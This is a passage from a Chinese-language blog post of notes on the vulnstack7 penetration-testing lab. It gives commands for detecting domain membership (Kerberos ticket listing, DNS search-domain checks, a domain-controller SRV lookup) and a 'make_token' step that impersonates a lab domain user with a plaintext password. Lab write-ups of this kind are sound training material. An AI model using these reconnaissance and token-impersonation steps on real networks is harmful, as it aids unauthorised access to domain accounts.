  • 查看票据缓存

    1
    klist -a

    如果有当前的 Kerberos 票据(Ticket),则证明该机器正在与域交互。

  1. 检查网络及 DNS 配置

域环境高度依赖 DNS。

  • 检查 DNS 搜索域

    1
    cat /etc/resolv.conf

    查看 search 字段。如果搜索域指向一个典型的内部域名(如 dev.company.local),这是一个强信号。

  • 测试域控连接: 尝试解析 SRV 记录(这是域控在 DNS 中的特征):

    1
    dig -t SRV _ldap._tcp.dc._msdcs.<你的疑似域名>

域用户切换

切换到域内用户需要制作网络令牌(system权限)

1
make_token WHOAMIANONY.ORG\Bunny Bunny2021

vulnstack7靶场笔记
http://huang-d1.github.io/2026/05/13/vulnstack7/
作者
huangdi
发布于
2026年5月13日
许可协议